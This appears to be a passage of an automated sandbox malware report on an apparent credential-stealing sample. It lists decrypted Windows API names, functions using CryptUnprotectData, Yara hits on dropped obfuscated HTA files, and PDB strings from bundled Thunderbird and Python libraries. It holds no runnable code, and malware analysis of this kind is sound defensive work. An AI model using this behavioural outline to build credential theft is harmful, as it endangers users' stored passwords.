Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SetCurrentDirectoryA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SetCurrentDirectoryA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateFileMappingA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateFileMappingA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: MapViewOfFile
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: MapViewOfFile
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: UnmapViewOfFile
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: UnmapViewOfFile
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: FileTimeToSystemTime
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: FileTimeToSystemTime
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetFileInformationByHandle
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetFileInformationByHandle
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GlobalLock
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GlobalLock
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GlobalSize
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GlobalSize
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: WideCharToMultiByte
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: WideCharToMultiByte
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetVolumeInformationA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetVolumeInformationA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetVersionExA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetVersionExA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetModuleFileNameA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetModuleFileNameA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateFileW
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateFileW
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateFileMappingW
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateFileMappingW
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: MultiByteToWideChar
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: MultiByteToWideChar
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateThread
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateThread
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: lstrcpyA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: lstrcpyA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: lstrcpynA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: lstrcpynA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetOpenA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetOpenA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetConnectA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetConnectA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: HttpOpenRequestA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: HttpOpenRequestA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: HttpSendRequestA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: HttpSendRequestA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: HttpQueryInfoA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: HttpQueryInfoA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetCloseHandle
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetCloseHandle
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetReadFile
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetReadFile
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetSetOptionA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetSetOptionA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetOpenUrlA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetOpenUrlA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetCrackUrlA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetCrackUrlA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: wsprintfA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: wsprintfA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CharToOemW
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CharToOemW
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ReleaseDC
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ReleaseDC
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetDC
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetDC
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetSystemMetrics
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetSystemMetrics
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetDesktopWindow
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetDesktopWindow
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetWindowRect
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetWindowRect
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetWindowDC
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetWindowDC
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CloseWindow
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CloseWindow
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RegOpenKeyExA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RegOpenKeyExA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RegQueryValueExA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RegQueryValueExA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RegCloseKey
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RegCloseKey
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetCurrentHwProfileA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetCurrentHwProfileA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RegEnumKeyExA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RegEnumKeyExA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RegGetValueA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RegGetValueA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateDCA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateDCA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetDeviceCaps
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetDeviceCaps
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateCompatibleDC
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateCompatibleDC

Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_00408E30 CryptUnprotectData,LocalAlloc,LocalFree,	17_2_00408E30
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_00408D90 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	17_2_00408D90
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_00405450 memset,CryptStringToBinaryA,CryptStringToBinaryA,	17_2_00405450
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_004090C0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	17_2_004090C0
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_00408AB0 CryptUnprotectData,	17_2_00408AB0

Phishing

Yara detected obfuscated html page

Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta, type: DROPPED
Source: Yara match	File source: C:\Temp\J9hHfTRUK.hta, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\8kUU4r0rO.hta, type: DROPPED

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe

Unpacked PE file: 17.2.m0wsoI3.exe.60900000.1.unpack

Source: M6gQuZPvgY.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1599541837.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1600168948.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-311\Release\win32api.pdb source: trano1221.exe, 0000002A.00000002.1973015383.00007FF98B681000.00000040.00000001.01000000.0000003B.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-311\Release\win32api.pdb!! source: trano1221.exe, 0000002A.00000002.1973015383.00007FF98B681000.00000040.00000001.01000000.0000003B.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: trano1221.exe, 00000023.00000003.1589374900.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdb source: trano1221.exe, 0000002A.00000002.2026351473.00007FF98EA95000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1591172756.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_decimal.pdb source: trano1221.exe, 0000002A.00000002.1975102681.00007FF98B9F1000.00000040.00000001.01000000.00000034.sdmp
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: m0wsoI3.exe, 00000011.00000002.1518652176.0000000000681000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1588949427.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC source: trano1221.exe, 0000002A.00000002.1980923674.00007FF98C161000.00000040.00000001.01000000.0000002C.sdmp
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1597912717.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1599207028.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1600305599.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: trano1221.exe, 00000023.00000003.1583189955.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.2033979566.00007FF9AF531000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1589825821.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: m0wsoI3.exe, 00000011.00000002.1518652176.000000000066A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: trano1221.exe, 00000023.00000003.1583404038.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.2031587031.00007FF9A75E5000.00000002.00000001.01000000.00000039.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1598486784.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1595664997.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1599069389.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1589063022.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_decimal.pdb$$ source: trano1221.exe, 0000002A.00000002.1975102681.00007FF98B9F1000.00000040.00000001.01000000.00000034.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PICOpenSSL 3.0.9 30 May 20233.0.9built on: Tue Jul 11 19:52:20 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC;CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_push_octet_ptrOSSL_PARAM_BLD_to_param..\s\crypto\params.c source: trano1221.exe, 0000002A.00000002.1980923674.00007FF98C161000.00000040.00000001.01000000.0000002C.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1591679400.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1588680873.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1589182480.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1598930353.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\pyexpat.pdb source: trano1221.exe, 0000002A.00000002.1996605213.00007FF98C9D1000.00000040.00000001.01000000.00000029.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: trano1221.exe, 0000002A.00000002.2029904114.00007FF9A06FC000.00000040.00000001.01000000.00000028.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: trano1221.exe, 0000002A.00000002.2030594224.00007FF9A3331000.00000040.00000001.01000000.00000027.sdmp
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1593203015.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdbUGP source: trano1221.exe, 0000002A.00000002.2026351473.00007FF98EA95000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: trano1221.exe, 00000023.00000003.1583404038.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.2031587031.00007FF9A75E5000.00000002.00000001.01000000.00000039.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1600657542.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1589681525.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-311\Release\pywintypes.pdb source: trano1221.exe, 0000002A.00000002.1973847890.00007FF98B771000.00000040.00000001.01000000.00000038.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: trano1221.exe, 0000002A.00000002.1975488711.00007FF98BB50000.00000040.00000001.01000000.00000033.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-311\Release\pythoncom.pdb}},GCTL source: trano1221.exe, 0000002A.00000002.1973364756.00007FF98B6B1000.00000040.00000001.01000000.0000003A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_elementtree.pdb source: trano1221.exe, 0000002A.00000002.1986859487.00007FF98C331000.00000040.00000001.01000000.00000036.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: trano1221.exe, 00000023.00000003.1596701757.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1591525735.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-311\Release\pywintypes.pdb** source: trano1221.exe, 0000002A.00000002.1973847890.00007FF98B771000.00000040.00000001.01000000.00000038.sdmp
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1588821073.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1598775483.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: trano1221.exe, 00000023.00000003.1583189955.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.2033979566.00007FF9AF531000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: trano1221.exe, 00000023.00000003.1590455368.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1599693153.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: trano1221.exe, 00000023.00000003.1592148006.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python311.pdb source: trano1221.exe, 0000002A.00000002.2006486368.00007FF98E76B000.00000040.00000001.01000000.0000001C.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1591309503.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1599866003.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1600849374.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1593372329.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1598137593.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1593530214.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: trano1221.exe, 00000023.00000003.1589513980.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbEE source: trano1221.exe, 0000002A.00000002.1980030194.00007FF98BD75000.00000040.00000001.01000000.0000002D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: trano1221.exe, 0000002A.00000002.2029904114.00007FF9A06FC000.00000040.00000001.01000000.00000028.sdmp
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1600027684.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1590256912.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: m0wsoI3.exe, 00000011.00000002.1518652176.0000000000681000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1589946129.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-311\Release\pythoncom.pdb source: trano1221.exe, 0000002A.00000002.1973364756.00007FF98B6B1000.00000040.00000001.01000000.0000003A.sdmp
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: m0wsoI3.exe, 00000011.00000002.1518652176.000000000066A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: trano1221.exe, 00000023.00000003.1607369375.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1941606459.000001E16B3B0000.00000002.00000001.01000000.0000001E.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: trano1221.exe, 0000002A.00000002.1980030194.00007FF98BD75000.00000040.00000001.01000000.0000002D.sdmp
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1599377266.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1600505618.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: trano1221.exe, 0000002A.00000002.1984942451.00007FF98C2E1000.00000040.00000001.01000000.0000002B.sdmp

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_0097EF71 FindFirstFileExW,	13_2_0097EF71
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_0041EF71 FindFirstFileExW,	14_2_0041EF71
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_00407620 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	17_2_00407620
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	17_2_00401280
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	17_2_00401090
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_0040A150 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	17_2_0040A150
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_0040B570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	17_2_0040B570
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_0040B110 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	17_2_0040B110
